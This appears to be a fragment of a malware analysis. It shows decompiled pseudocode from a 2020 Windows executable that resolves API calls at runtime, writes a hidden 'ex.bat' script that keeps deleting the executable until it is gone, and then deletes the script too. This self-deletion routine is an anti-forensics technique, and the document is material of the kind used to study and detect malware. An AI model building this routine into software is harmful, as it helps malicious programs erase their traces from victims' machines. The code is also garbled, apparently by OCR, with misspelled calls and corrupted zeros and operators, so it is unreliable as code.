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EXE (PE32 executable for MS Windows (GUI) Intel 80386 32-bit) Build Time : 2020-11-20 18:18:18
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strcpy(ex_bat, “ex.bat");

strcpy(CreateFileA_, “CreateFileA");
strcpy(CreateProcessA_, "CreateProcessA");
strcpy(WriteFile_, “WriteFile");
strcpy(CloseHandle_, “CloseHandle");
strcpy(GetModuleFileNameA_, “GetModuleFileNameA");
strepy(lstrcpyA_, "lstrcpyA");

strcpy(del_, ":R\r\ndel \"");

strepy(if_exist, "\"\r\nif exist \"");
strcpy(goto_del, "\" goto R\r\ndel \"");

v2e[e] = '"';
v2e[1] = '\r';
v2e[2] = '\n';
v20[3] = @;

CreateFileA__ = a2(al, CreateFileA_ );
LstrcpyA__ = a2(al, lstrcpyA );
GetModuleFileNameA__ = a2(al, GetModuleFileNameA_);
CloseHandle__ = a2(al, CloseHandle_ );
WriteFile__ = a2(al, WriteFile_ );
CreateProcessA__ = a2(al, CreateProcessA_);
GetModuleFileNameA__(@, v26, 26@);
result = CreateFileA__(ex_bat, @x40000000, @, @, 2, 128, @):
vl = result;
if ( result I= -1)
{

ARG_®1_1048(v15, @, 256);

LstrcpyA__(v15, del ):

sub_1080(v15, v26);

sub_1080(v15, if_exist);

sub_1088(v15, v26);

sub_1080(v15, goto_del);

sub_10808(v15, ex_bat);

sub_1080(v15, v20);

v3 = sub_10E@(v15);

WriteFile__(v16, v15, v3, &goto_del[16], @);

CloseHandle__(v16);

ARG_01_1@408(v10, @, 68);

ARG_®1_10408(v19, @, 16);

vie[e] = 68;
vie[11] = 1;
vlil = @;

result = CreateProcessA__(®, ex_bat, ©, @, @, 16, @, @, vie, v19);
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